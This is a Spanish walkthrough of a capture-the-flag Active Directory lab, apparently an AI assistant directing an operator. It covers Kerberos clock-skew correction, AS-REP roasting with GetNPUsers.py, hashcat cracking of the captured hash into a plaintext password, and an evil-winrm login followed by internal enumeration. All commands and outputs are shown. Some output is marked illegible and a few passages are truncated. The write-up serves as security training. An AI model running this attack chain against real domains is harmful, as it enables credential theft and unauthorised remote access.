Por tanto, aunque la lista de usuarios ya está lista, todavía no conviene usarla directamente contra Kerberos sin atender antes ese posible problema de tiempo.

método

Primero se consolida que la lista priorizada ya está suficientemente bien construida y no necesita más variantes.

Después se evita un error metodológico muy común en entornos AD: lanzar validaciones Kerberos sin comprobar antes la sincronización temporal.

El siguiente paso único no será todavía validar usuarios, sino comprobar y, si hace falta, corregir el desfase horario del entorno atacante respecto al objetivo. Eso prepara el terreno para que la siguiente validación de identidades sea fiable.

respuesta

La lista ya está en un punto muy bueno. No merece la pena seguir generando más variantes porque, a partir de aquí, añadir más nombres solo metería ruido.

Lo correcto ahora no es atacar más fuerte, sino preparar bien la siguiente fase. Y la preparación necesaria en este caso es revisar el desfase horario antes de tocar Kerberos.

La razón es importante: en Active Directory, Kerberos es muy sensible al tiempo. Si existe un `clock skew` grande, una validación posterior puede parecer fallida no porque el usuario no exista, sino porque el tiempo entre cliente y servidor no encaja. Eso falsearía la lectura del caso y haría perder tiempo.

Así que el siguiente paso único cambia ligeramente respecto a lo previsto: antes de validar usuarios candidatos, conviene comprobar y corregir el desfase horario.

Qué hallazgo domina ahora: ya existe una lista priorizada de usuarios candidatos con calidad suficiente para pasar a validación.

Qué rama principal sigue activa: enumeración de Active Directory apoyada por identidades obtenidas desde la web.

Qué ramas secundarias quedan anotadas: LDAP anónimo, SMB anónimo y WinRM para una fase posterior si aparecen credenciales válidas.

Cuál es el siguiente paso único: verificar y, si hace falta, corregir el desfase horario del entorno atacante antes de cualquier validación basada en Kerberos.

comandos

```
date -u
sudo ntpdate -q 10.129.95.180
sudo ntpdate -u 10.129.95.180
date -u
```

Se propone este paso porque la señal previa ya existe: el reconocimiento inicial dejó indicios de un desfase temporal importante. Antes de usar Kerberos, conviene confirmar si ese problema sigue presente.

Qué hace cada comando:

- 1 `date -u` muestra la hora UTC actual del entorno atacante.
- 1 `sudo ntpdate -q 10.129.95.180` consulta la diferencia horaria respecto al objetivo sin cambiar todavía nada.
- 1 `sudo ntpdate -u 10.129.95.180` corrige la hora usando el objetivo como referencia, si la consulta confirma que el desfase es real.
- 1 el último `date -u` permite comprobar el resultado tras la corrección.

Qué se espera obtener: confirmación clara de si el tiempo local está desviado y, en caso afirmativo, dejarlo alineado para que la siguiente fase con Kerberos sea fiable.

Qué parte de la salida interesa de verdad: la diferencia de tiempo reportada por `ntpdate -q` y la verificación posterior de que la hora quedó ajustada.

Cómo cambia la decisión siguiente: si el desfase queda corregido, la siguiente fase podrá centrarse ya en una validación limpia de usuarios candidatos sin que el tiempo distorsione los resultados.

comprobaciones

Comprobar si `ntpdate -q` reporta una diferencia significativa.

Si la diferencia es grande, confirmar que el ajuste se aplica correctamente con `ntpdate -u`.

Verificar después que la hora UTC local queda razonablemente alineada con la del objetivo.

No pasar todavía a validación Kerberos hasta dejar este punto resuelto.

notas para el writeup

Una vez obtenida una lista priorizada de usuarios candidatos, el siguiente paso no siempre es lanzar validaciones de identidad de inmediato. En entornos Active Directory, la sincronización temporal forma parte de la preparación técnica del ataque, porque Kerberos depende de que cliente y servidor compartan una referencia horaria suficientemente cercana.

Lección reutilizable: una buena lista de usuarios puede quedar inutilizada por un problema de tiempo mal interpretado. Antes de concluir que una validación Kerberos falla por usuarios incorrectos, conviene descartar primero que el reloj del entorno atacante esté desalineado.

Ejecutamos el bloque y revisamos la salida

```
> date -u
sudo ntpdate -q 10.129.95.180
sudo ntpdate -u 10.129.95.180
date -u
dijous, 23 d'abril de 2026, 11:44:05 UTC
[sudo] contraseña para r4mon:
2026-04-23 20:44:15.93361 (+0200) +25202.319033 +/- 0.024418 10.129.95.180 s1 no-leap
2026-04-23 20:44:15.198641 (+0200) +25202.317982 +/- 0.023897 10.129.95.180 s1 no-leap
CLOCK: time stepped by 25202.317982
dijous, 23 d'abril de 2026, 18:44:15 UTC
```

objetivo

Confirmar que el desfase horario ha quedado corregido y preparar una validación fiable de los usuarios candidatos frente a Kerberos, manteniendo una sola rama activa y evitando lecturas erróneas de resultados.

hechos verificados

El entorno atacante tenía un desfase horario muy grande respecto al objetivo.

La consulta de sincronización mostró una diferencia aproximada de 25202 segundos, es decir, unas 7 horas.

La corrección se aplicó correctamente y el reloj local quedó ajustado tras el `time stepped`.

Eso convierte el problema temporal en un hecho ya resuelto para esta fase.

La lista priorizada de usuarios ya existe y está lista para ser utilizada como base de validación controlada.

suposiciones

La inferencia principal es que, una vez corregido el tiempo, las pruebas relacionadas con Kerberos ya no deberían fallar por un problema de sincronización.

La siguiente hipótesis de trabajo razonable es que entre los 24 usuarios candidatos puede existir al menos una cuenta válida del dominio y, si alguna no requiere preautenticación Kerberos, esa condición debería poder detectarse de forma fiable ahora.

Sigue pendiente de verificar qué convención de cuenta usa realmente el dominio y si alguna de esas cuentas presenta una configuración débil aprovechable en Kerberos.

método

Primero se cierra formalmente la incidencia de tiempo, porque ya no tiene sentido seguir tratándola como hipótesis.

Después se pasa a una única verificación corta y coherente con la rama activa: comprobar si alguno de los usuarios candidatos devuelve respuesta útil en Kerberos sin necesidad de contraseña.

No se abren todavía ramas paralelas de SMB, LDAP o WinRM, porque la evidencia actual ya justifica una prueba más valiosa y más alineada con la superficie dominante del caso.

respuesta

Este paso ha sido importante y ha salido bien.

La corrección del reloj no es un detalle menor: elimina una causa muy seria de falsos negativos en Active Directory. A partir de ahora, si una prueba con Kerberos falla, será mucho más probable que falle por identidad incorrecta o por configuración real del dominio, y no porque el tiempo estuviera roto.

Eso cambia claramente la decisión siguiente. Antes no convenía tocar Kerberos porque cualquier resultado podía estar contaminado por el desfase horario. Ahora sí tiene sentido hacerlo.

La rama principal sigue siendo enumeración de Active Directory apoyada por identidades obtenidas desde la web. Dentro de esa rama, el siguiente paso único más limpio es comprobar si alguno de los usuarios candidatos permite obtener una respuesta útil mediante una verificación Kerberos sin contraseña.

No conviene abrir todavía otras líneas porque esta ya está bien preparada, tiene bajo coste y puede dar un salto de valor muy alto si aparece una cuenta con preautenticación deshabilitada.

Qué hallazgo domina ahora: el problema de sincronización temporal ha quedado resuelto y Kerberos ya puede evaluarse con fiabilidad.

Qué rama principal sigue activa: enumeración de Active Directory centrada en identidades y validación Kerberos.

Qué ramas secundarias quedan anotadas: LDAP anónimo, SMB anónimo y WinRM para una fase posterior si aparecen credenciales reutilizables.

Cuál es el siguiente paso único: comprobar si alguno de los usuarios candidatos devuelve material útil en Kerberos sin necesidad de contraseña.

comandos

```
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile usernames_priority.txt -no-pass -dc-ip 10.129.95.180
```

Este comando se propone porque la señal previa ya está madura: hay una lista priorizada de candidatos y el problema de tiempo ya no distorsiona la lectura.

Qué hace: prueba cada usuario del archivo contra el controlador de dominio y comprueba si alguna cuenta permite obtener respuesta AS-REP sin requerir contraseña.

Qué se espera obtener: uno de estos tres escenarios:

- 1 que alguna cuenta devuelva material AS-REP útil, lo que convertiría esa identidad en hallazgo dominante;
- 2 que aparezcan errores de usuario inexistente o respuestas vacías, lo que ayudaría a depurar la convención de nombres;
- 3 que no haya cuentas con esa configuración, lo que obligaría a reevaluar la siguiente verificación de identidad.

Qué parte de la salida interesa de verdad: los usuarios que devuelvan respuesta útil y cualquier diferencia clara entre "usuario no válido" y "usuario válido pero sin AS-REP aprovechable".

Cómo cambia la decisión siguiente: si aparece una cuenta con AS-REP, la cadena avanza por Kerberos; si no aparece ninguna, la siguiente decisión ya no será "seguir insistiendo igual", sino revisar convención de nombres o pasar a otra verificación de identidad.

comprobaciones

Comprobar que el comando ya no devuelve errores compatibles con desfase horario.

Revisar si aparece algún usuario con respuesta AS-REP claramente diferenciada del resto.

Anotar cualquier nombre que produzca una salida distinta, incluso aunque no entregue material útil completo, porque puede servir para validar la convención real de cuentas.

Si no aparece ningún resultado útil, no ampliar todavía la lista con variantes aleatorias; primero conviene interpretar bien la salida obtenida.

notas para el writeup

La corrección del desfase horario marcó el punto en que la validación Kerberos pasó de ser potencialmente engañosa a ser técnicamente fiable. En un entorno Active Directory, sincronizar el tiempo no es una tarea auxiliar, sino una condición previa para interpretar correctamente los resultados de autenticación.

Lección reutilizable: antes de sacar conclusiones sobre usuarios o respuestas de Kerberos, conviene asegurarse de que el reloj del entorno atacante está alineado con el del dominio.

Un error de tiempo puede hacer parecer inexistente una vía que en realidad sigue completamente abierta.

Ejecutamos el bloque y revisamos la salida

[illegible]

objetivo

Interpretar la salida de `GetNPUsers.py`, separar lo que ya ha quedado demostrado de lo que sigue pendiente y fijar el siguiente paso único sin abrir ramas paralelas.

hechos verificados

La prueba ha producido un resultado útil y concluyente: fsmith es un principal válido del dominio y, además, no requiere preautenticación Kerberos, ya que ha devuelto un AS-REP roastable hash.

La convención inicial + apellido queda fuertemente validada por la evidencia observada. No se trata ya de una suposición estilística, sino de una cuenta real identificada en el dominio.

La mayoría de los demás candidatos han devuelto KDC_ERR_C_PRINCIPAL_UNKNOWN, lo que indica que no existen en la base Kerberos con esos nombres exactos.

La fase de "derivar identidades desde la web" ya ha dado un fruto operativo real: no solo se obtuvo una lista plausible, sino una cuenta válida y aprovechable.

suposiciones

La inferencia principal es que el siguiente paso natural ya no es seguir afinando convenciones de usuario, sino trabajar sobre el hash AS-REP obtenido de fsmith.

También es razonable suponer que, si la cuenta fsmith aparece en esta cadena, podría ser un usuario reutilizable en fases posteriores de acceso remoto, siempre que la recuperación offline de la contraseña tenga éxito.

Sigue pendiente de verificar cuál es la contraseña en claro asociada a fsmith y si esa credencial será reutilizable en un servicio de acceso remoto del sistema.

método

Primero se cierra la etapa de validación de nombres de usuario, porque ya ha cumplido su función: identificar una cuenta real del dominio y encontrar una debilidad concreta en Kerberos.

Después se prioriza una única acción coherente con esa evidencia: preservar el hash y pasarlo a recuperación offline de contraseña. No conviene volver ahora a LDAP, SMB o web, porque esta vía ya ha demostrado mucho más valor que las demás.

respuesta

Este resultado es muy bueno.

El hallazgo importante no es simplemente que "ha salido algo", sino que la cadena metodológica ha quedado validada de punta a punta:

- 1 la web expuso nombres reales,
- 2 esos nombres permitieron derivar cuentas plausibles,
- 3 la convención inicial + apellido resultó correcta al menos para un caso real,
- 4 y una de esas cuentas, fsmith, devuelve un AS-REP hash aprovechable.

Eso convierte a fsmith en el hallazgo dominante actual.

A partir de aquí, seguir generando más usuarios o insistir con otras variantes tendría menos sentido que antes, porque ya existe una vía mucho más fuerte abierta. La rama principal deja de ser "enumeración de identidades" y pasa a ser Kerberos abuse con material offline ya obtenido.

El siguiente paso único correcto es guardar el hash de fsmith en un archivo limpio y tratar la recuperación de la contraseña como trabajo offline local del operador. Esa es la transición natural y más ordenada.

Qué hallazgo domina ahora: fsmith es una cuenta válida del dominio y devuelve un AS-REP hash explotable offline.

Qué rama principal sigue activa: abuso de Kerberos a partir de una cuenta identificada por ASREPROasting.

Qué ramas secundarias quedan anotadas: validación posterior de acceso remoto con credenciales, y solo en segundo plano LDAP/SMB si más adelante hicieran falta para contexto adicional.

Cuál es el siguiente paso único: guardar el hash de fsmith en un archivo dedicado y pasar a recuperación offline de la contraseña.

comandos

```
cat > asrep_fsmith.txt <<'EOF'
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:655d7bbbf26151b21bd1ee464be5be3c$1cc708ac52f286125fd08352f6102f1
EOF

wc -l asrep_fsmith.txt
cat asrep_fsmith.txt
```

Se propone este paso porque la evidencia útil ya no está en la salida completa del comando, sino en preservar limpiamente el artefacto valioso: el hash AS-REP de fsmith.

Qué hace:

- 1 guarda el hash en un archivo dedicado;

Confirmar que el artefacto Kerberos ha quedado guardado correctamente y dejar preparada la siguiente fase local: recuperación offline de la contraseña asociada a fsmith.

hechos verificados

El archivo `asrep_fsmith.txt` se ha creado correctamente.

La comprobación con `wc -l` confirma que el archivo contiene una sola línea, que es exactamente lo que interesa en este punto.

El contenido útil del archivo es el hash AS-REP de fsmith, ya aislado y sin ruido adicional.

El salto de línea visual que aparece al mostrar el archivo no indica que el contenido esté roto; es solo ajuste de la visualización en pantalla. Operativamente, el artefacto está bien.

Con esto, la fase de obtención y preservación del material AS-REP puede darse por cerrada.

suposiciones

La hipótesis de trabajo principal es que la contraseña de fsmith podría ser recuperable mediante ataque offline con diccionario.

También es razonable suponer que, si esa contraseña se recupera, podrá evaluarse después si tiene valor operativo en servicios de acceso remoto del objetivo.

Todavía sigue pendiente de verificar si la contraseña será lo bastante débil como para aparecer en un diccionario común o si hará falta una estrategia local más costosa.

método

Primero se confirma que el hash útil ha quedado preservado en un archivo limpio y reutilizable.

Después se evita seguir generando más identidades o abrir ramas secundarias, porque la vía actual ya ha producido un artefacto de mucho más valor.

El siguiente paso único pasa a ser trabajo offline local sobre ese hash, sin necesidad de volver a interactuar todavía con el dominio.

respuesta

Este punto ha quedado bien hecho.

Lo importante no es solo que el archivo exista, sino que ahora ya hay un artefacto limpio, bien aislado y listo para trabajar fuera de línea. Eso mejora mucho la trazabilidad del caso: una cosa es la salida ruidosa del comando que detectó el AS-REP, y otra mucho más útil es tener el hash central guardado en su propio fichero.

A partir de aquí, la rama principal deja de ser "buscar usuarios" y pasa a ser trabajo offline sobre el hash de fsmith.

No conviene volver atrás a LDAP, SMB o más derivación de nombres. Esa parte ya cumplió su función. La evidencia dominante ahora es mucho más fuerte: existe una cuenta válida del dominio y ya se dispone de material Kerberos recuperable offline.

Qué hallazgo domina ahora: fsmith es una cuenta válida del dominio y su hash AS-REP ya está preservado correctamente para trabajo offline.

Qué rama principal sigue activa: abuso de Kerberos a partir de material obtenido por ASREProasting.

Qué ramas secundarias quedan anotadas: validación posterior de acceso remoto si aparece una contraseña reutilizable; LDAP y SMB quedan en segundo plano.

Cuál es el siguiente paso único: intentar la recuperación offline de la contraseña de fsmith.

comandos

```
hashcat -m 18200 asrep_fsmith.txt /usr/share/wordlists/rockyou.txt -O --outfile cracked_fsmith.txt  
cat cracked_fsmith.txt
```

Este paso se propone porque la señal previa ya es suficientemente fuerte: no se trabaja sobre una hipótesis abstracta, sino sobre un hash AS-REP real ya guardado y limpio.

Qué hace:

- 1 hashcat -m 18200 usa el modo correspondiente a Kerberos 5 AS-REP etype 23, que es el formato del hash obtenido.
- 1 asrep_fsmith.txt es el artefacto de entrada ya validado.
- 1 rockyou.txt actúa como diccionario inicial razonable para una primera recuperación offline.
- 1 --outfile cracked_fsmith.txt guarda el resultado de forma limpia si aparece una coincidencia.
- 1 cat cracked_fsmith.txt permite comprobar si se recuperó una contraseña.

Qué se espera obtener:

- 1 o bien una línea con el hash y la contraseña recuperada;
- 1 o bien ningún resultado, lo que indicará que con ese diccionario inicial no ha habido éxito.

Qué parte de la salida interesa de verdad:

- 1 cualquier línea guardada en cracked_fsmith.txt;
- 1 y, si no aparece nada, si hashcat indica simplemente que no encontró coincidencia, no que haya un problema de formato.

Cómo cambia la decisión siguiente:

- 1 si aparece una contraseña, el siguiente análisis se centrará en su valor operativo;
- 1 si no aparece, no significará que la vía haya muerto, sino que la primera estrategia offline no bastó.

comprobaciones

Confirmar que hashcat acepta el formato sin errores.

Comprobar si cracked_fsmith.txt se crea y contiene una línea útil.

Si no aparece resultado, no modificar todavía asrep_fsmith.txt; debe seguir intacto como artefacto base.

Mantener separados los dos archivos: uno como evidencia original (asrep_fsmith.txt) y otro como posible resultado (cracked_fsmith.txt).

notas para el writeup

La obtención de un hash AS-REP solo abre la puerta; el punto metodológicamente correcto siguiente es aislar ese material y trabajarlo offline, sin mezclarlo con el ruido de la salida original. Eso convierte un hallazgo puntual en un artefacto técnico trazable y reutilizable.

Lección reutilizable: cuando una cuenta válida del dominio devuelve un AS-REP roastable, la prioridad deja de ser seguir buscando más nombres y pasa a ser preservar el hash correctamente y tratarlo como el centro de la siguiente fase.

Ejecutamos el bloque y revisamos la salida

```
> hashcat -m 18200 asrep_fsmith.txt /usr/share/wordlists/rockyou.txt -0 --outfile cracked_fsmith.txt
cat cracked_fsmith.txt
hashcat (v6.2.6) starting
```

OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

- 1 Device #1: pthread-haswell-Intel(R) Core(TM) i7-10750H CPU @ 2.60GHz, 2802/5668 MB (1024 MB allocatable), 8MCU

Minimum password length supported by kernel: 0

Maximum password length supported by kernel: 31

```
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
```

Optimizers applied:

- 1 Optimized-Kernel
- 1 Zero-Byte
- 1 Not-Iterated
- 1 Single-Hash
- 1 Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache hit:

- 1 Filename.: /usr/share/wordlists/rockyou.txt
- 1 Passwords.: 14344385
- 1 Bytes.....: 139921507
- 1 Keyspace...: 14344385

Cracking performance lower than expected?

- 1 Append -w 3 to the commandline.
This can cause your screen to lag.
- 1 Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
- 1 Update your backend API runtime / driver the right way:
<https://hashcat.net/faq/wrongdriver>
- 1 Create more work items to make use of your parallelization power:
<https://hashcat.net/faq/morework>

```

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target.....: $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:655d7bb...929158
Time.Started.....: Thu Apr 23 20:58:17 2026 (7 secs)
Time.Estimated...: Thu Apr 23 20:58:24 2026 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 1810.7 kH/s (0.80ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 10541059/14344385 (73.49%)
Rejected.....: 2051/10541059 (0.02%)
Restore.Point....: 10536957/14344385 (73.46%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: TiffanyFWright -> TerryJackson
Hardware.Mon.#1..: Util: 11%

Started: Thu Apr 23 20:58:03 2026
Stopped: Thu Apr 23 20:58:25 2026

```

```

| File: cracked_fsmith.txt

```

```

1 | $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:655d7bbbf26151b21bd1ee464be5be3c$1cc708ac52f286125fd08352fc9ff20676130cd2aa130d6ff005ae008f70ec9fe46f5eeeee064218fa9338ca8ac265ff8a2a50133b8615d119624116b317bd85e8e9394056a83a254bef2c0b88e76f5b852a4212583793817a79d1b234993cc606c7eb21ca344e912c7077fd431ecaae2be42bdcf713e79

```

objetivo

Interpretar el resultado de la recuperación offline, confirmar el valor operativo real de la credencial obtenida y fijar un siguiente paso único y limpio dentro de la rama principal del caso.

hechos verificados

La recuperación offline ha tenido éxito.

La cuenta fsmith ya no es solo una identidad válida del dominio, sino una cuenta con credencial en claro recuperada:

- 1 usuario: fsmith
- 1 contraseña: Thestrokes23

El hash AS-REP era correcto, el formato usado en hashcat era el adecuado y el diccionario inicial bastó para recuperar la contraseña en pocos segundos.

La cadena metodológica queda validada de extremo a extremo:

- 1 la web pública expuso nombres reales;
- 2 esos nombres permitieron derivar usuarios plausibles;
- 3 la convención inicial + apellido resultó correcta;
- 4 fsmith devolvió un AS-REP hash aprovechable;
- 5 ese hash permitió recuperar una contraseña en claro.

Además, sigue siendo un hecho verificado que WinRM está abierto en 5985/tcp, por lo que ya existe una vía natural de validación de acceso remoto.

suposiciones

La hipótesis principal es que la credencial fsmith : Thestrokes23 puede tener valor operativo inmediato para acceso remoto.

La hipótesis más razonable para la siguiente validación es WinRM, no porque sea la única posibilidad, sino porque ya está expuesto, es un servicio pensado para administración remota y encaja bien con una comprobación limpia de credenciales.

Sigue pendiente de verificar si esa cuenta tiene permiso efectivo de acceso remoto o si la contraseña solo será útil para otras fases del caso.

método

Primero se cierra formalmente la fase de Kerberos offline, porque ya ha cumplido su función: obtener una credencial real del dominio.

Después se elige una sola verificación de acceso que tenga sentido con la evidencia observada. No se abren a la vez SMB, LDAP y otras rutas, porque en este punto la comprobación más limpia y de mayor valor es una validación controlada sobre WinRM.

respuesta

Este es un punto de inflexión claro en la máquina.

Hasta ahora la rama principal estaba centrada en identidad + Kerberos. Desde este momento, esa fase queda cerrada con éxito y la rama dominante pasa a ser validación de acceso remoto con credencial recuperada.

Lo importante no es solo que haya aparecido una contraseña, sino que ahora ya existe una credencial completa y reutilizable. Eso cambia por completo la calidad de la evidencia: se deja atrás la enumeración de candidatos y se entra en la fase de acceso real.

El siguiente paso único correcto es probar de forma controlada si fsmith puede autenticarse por WinRM. Esa decisión tiene sentido por varias razones:

- 1 WinRM ya estaba expuesto desde la fase 1.
- 1 Es una vía de administración remota típica en Windows.
- 1 Permite validar rápidamente si la credencial recuperada tiene valor práctico inmediato.
- 1 Si funciona, el caso avanza con una evidencia muy fuerte.
- 1 Si no funciona, no invalida la credencial, solo obliga a reinterpretar su alcance.

Qué hallazgo domina ahora: se ha recuperado en claro la contraseña de una cuenta válida del dominio: fsmith : Thestrokes23. r4ms4nt

Qué rama principal sigue activa: validación de acceso remoto con credencial obtenida desde ASREPROasting.

Qué ramas secundarias quedan anotadas: SMB y LDAP siguen como rutas de contexto secundarias; no dominan mientras exista una credencial completa pendiente de validar por WinRM.

Cuál es el siguiente paso único: comprobar si fsmith puede autenticarse por WinRM.

comandos

```
evil-winrm -i 10.129.95.180 -u fsmith -p 'Thestrokes23'
```

Este comando se propone porque la señal previa ya es muy fuerte: existe una credencial completa y un servicio de administración remota expuesto.

Qué hace: intenta autenticarse por WinRM con la cuenta recuperada.

Qué se espera obtener:

- 1 o bien una sesión remota válida, lo que convertiría el acceso inicial en hecho verificado;
- 1 o bien un fallo de autenticación o de autorización, lo que obligaría a reinterpretar el valor de la credencial sin negar que la contraseña sea correcta.

Qué parte de la salida interesa de verdad:

- 1 si la autenticación se completa;
- 1 si aparece prompt remoto;
- 1 o, en caso de fallo, si el mensaje indica credencial inválida o falta de permisos para WinRM.

Cómo cambia la decisión siguiente:

- 1 si entra, la siguiente fase pasará a ser enumeración interna del sistema ya con acceso real;
- 1 si no entra, la credencial seguirá siendo valiosa, pero habrá que decidir otra vía de validación compatible con ese usuario.

comprobaciones

Comprobar si la sesión WinRM se establece correctamente.

Si entra, verificar de inmediato el contexto con comprobaciones básicas de identidad y privilegios.

Si no entra, no desechar la credencial: distinguir entre "contraseña incorrecta" y "usuario válido sin permiso de WinRM".

Mantener cracked_fsmith.txt como evidencia del resultado offline y no sobrescribir los artefactos previos.

notas para el writeup

La fase de ASREPRoasting no terminó simplemente con la obtención de un hash, sino con la recuperación efectiva de una contraseña reutilizable. Ese momento marca el paso de una fase de abuso de autenticación a una fase de validación de acceso real sobre servicios remotos del sistema.

Lección reutilizable: en una cadena de Active Directory, recuperar una contraseña en claro cambia el caso por completo. A partir de ahí, la prioridad deja de ser seguir buscando usuarios y pasa a ser validar, con el menor ruido posible, en qué superficie expuesta esa credencial tiene valor operativo real.

Ejecutamos el bloque y revisamos la salida

```
> evil-winrm -i 10.129.95.180 -u fsmith -p 'Thestrokes23'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is un
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-co
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\FSmith\Documents>
```

objective

Confirmar que la credencial recuperada tiene valor operativo real, cerrar la fase de acceso inicial y fijar una primera enumeración interna mínima, ordenada y útil para decidir la siguiente rama.

verified facts

La autenticación por WinRM ha funcionado correctamente.

La cuenta fsmith no solo era válida en el dominio, sino también reutilizable para acceso remoto interactivo al objetivo.

El prompt remoto confirma ya un foothold real en la máquina:

```
*Evil-WinRM* PS C:\Users\FSmith\Documents>
```

Con esto queda verificada toda la cadena previa:

- 1 nombres reales expuestos en la web
- 1 derivación de usuarios candidatos
- 1 validación de la convención inicial + apellido
- 1 obtención de hash AS-REP para fsmith
- 1 recuperación offline de la contraseña
- 1 acceso remoto válido con fsmith

assumptions

La inferencia principal es que fsmith dispone al menos de permisos suficientes para acceso remoto por WinRM, pero todavía no está verificado cuál es su nivel real dentro del sistema ni del dominio.

También es razonable suponer que la siguiente fase útil ya no es insistir en Kerberos ni en derivación de identidades, sino hacer una enumeración interna corta y bien enfocada para responder tres preguntas:

- 1 quién es exactamente este usuario dentro del dominio
- 1 qué información del sistema y del contexto AD queda visible desde esta sesión
- 1 qué pista dominante aparece para la siguiente escalada

Todavía sigue pendiente de verificar si el usuario pertenece a grupos con valor especial, si hay credenciales reutilizables en el host o si existe alguna configuración operativa interesante para pivotar a la siguiente fase.

method

Primero se cierra formalmente la fase de acceso inicial porque ya no es una hipótesis: existe shell remota válida.

Después se propone una enumeración interna mínima, no infinita, orientada a contexto y decisión. La idea no es disparar herramientas a ciegas, sino obtener primero identidad, grupos, sistema, dominio y artefactos básicos del perfil del usuario.

No conviene abrir todavía varias ramas a la vez. Con este acceso, el siguiente paso único correcto es una enumeración interna básica y trazable.

answer

Perfecto. Ya hay foothold real.

Este es el primer gran cierre técnico de la máquina: la credencial recuperada no era solo válida en abstracto, sino operativa sobre un servicio remoto expuesto. Eso convierte a fsmith en un acceso inicial plenamente confirmado.

A partir de aquí cambia la lógica del caso. La rama principal ya no es "obtener acceso", porque esa fase ha terminado. La rama principal pasa a ser enumeración interna del host y del contexto de dominio desde la sesión de fsmith.

No interesa todavía saltar directamente a herramientas pesadas ni a múltiples verificaciones paralelas. Lo más limpio es sacar primero un bloque corto de contexto que permita decidir la

siguiente acción con base real.

Qué hallazgo domina ahora: fsmith proporciona acceso remoto interactivo válido por WinRM.

Qué rama principal sigue activa: enumeración interna post-foothold en entorno Windows/AD.

Qué ramas secundarias quedan anotadas: revisión de privilegios locales, contexto de dominio, posibles credenciales expuestas y, solo después, escalada según la evidencia que aparezca.

Cuál es el siguiente paso único: obtener un bloque mínimo de identidad, grupos, sistema, dominio y flag de usuario desde la sesión actual.

commands

```
whoami
whoami /groups
hostname
ipconfig /all
systeminfo
echo %env:USERDOMAIN
echo %env:COMPUTERNAME
dir C:\Users
type C:\Users\FSmith\Desktop\user.txt
```

Por qué se proponen estos comandos:

whoami se usa para confirmar el contexto exacto del usuario autenticado. Aunque el prompt va suaviere FSmith.
whoami /groups sirve para ver qué grupos efectivos tiene el usuario. La señal previa para usarlo es clara: va
hostname, ipconfig /all, systeminfo, echo %env:USERDOMAIN y echo %env:COMPUTERNAME se usan para fijar el con

dir C:\Users permite ver qué perfiles existen en el sistema. Eso aporta una lectura rápida de qué otros usuarios han iniciado sesión o tienen perfil local, algo muy valioso en Windows.

type C:\Users\FSmith\Desktop\user.txt sirve para verificar el acceso al flag de usuario y cerrar formalmente

Qué esperamos obtener:

- 1 identidad exacta del usuario
- 1 grupos relevantes
- 1 contexto del host y del dominio
- 1 lista inicial de perfiles locales
- 1 confirmación del user flag

Qué parte de la salida interesa de verdad:

- 1 grupos no triviales en whoami /groups
- 1 nombre del dominio y versión del sistema
- 1 perfiles de servicio o cuentas administrativas en C:\Users
- 1 si el flag de usuario es legible desde este contexto

Cómo cambia la decisión siguiente según el resultado:

- 1 si aparecen grupos o perfiles interesantes, la siguiente fase se centrará en ellos
- 1 si el contexto del sistema sugiere una vía clara, se priorizará esa evidencia
- 1 si todo parece normal, entonces tocará pasar a enumeración más profunda del host con una herramienta de apoyo

checks

Comprobar que whoami devuelve exactamente el usuario esperado y guardar esa evidencia como cierre del acceso inicial.

Revisar `whoami /groups` buscando pertenencias con valor especial o fuera de lo normal.

Anotar cualquier nombre interesante en `C:\Users`, sobre todo cuentas de servicio o perfiles que no encajen con un usuario estándar.

Confirmar si `user.txt` es accesible desde la sesión actual, porque eso cierra de forma limpia la fase de usuario.

writeup notes

La autenticación correcta por WinRM confirmó que la credencial recuperada desde ASREProasting tenía valor operativo real. Ese momento marcó el fin de la fase de acceso inicial y el comienzo de la enumeración interna del sistema desde un usuario de dominio válido.

Lección reutilizable: cuando una credencial recuperada funciona sobre un servicio remoto expuesto, no conviene saltar inmediatamente a herramientas pesadas. Primero merece la pena fijar identidad, grupos, sistema y contexto del dominio, porque esa base ordena mucho mejor la siguiente decisión de escalada.

Ejecutamos el bloque y revisamos la salida

```
Evil-WinRM PS C:\Users\FSmith\Documents> whoami
```

```
egotisticalbank\fsmith
```

```
Evil-WinRM PS C:\Users\FSmith\Documents> whoami /groups
```

GROUP INFORMATION

Group Name	Type	SID	Attributes
Everyone	Well-known group	S-1-1-0	Mandatory group, Enabled by default
BUILTIN\Remote Management Users	Alias	S-1-5-32-580	Mandatory group, Enabled by default
BUILTIN\Users	Alias	S-1-5-32-545	Mandatory group, Enabled by default
BUILTIN\Pre-Windows 2000 Compatible Access	Alias	S-1-5-32-554	Mandatory group, Enabled by default
NT AUTHORITY\NETWORK	Well-known group	S-1-5-2	Mandatory group, Enabled by default
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11	Mandatory group, Enabled by default
NT AUTHORITY\This Organization	Well-known group	S-1-5-15	Mandatory group, Enabled by default
NT AUTHORITY\NTLM Authentication	Well-known group	S-1-5-64-10	Mandatory group, Enabled by default
Mandatory Label\Medium Plus Mandatory Level Label		S-1-16-8448	
Evil-WinRM PS C:\Users\FSmith\Documents> hostname			
SAUNA			
Evil-WinRM PS C:\Users\FSmith\Documents> ipconfig /all			

Windows IP Configuration

```
Host Name . . . . . : SAUNA
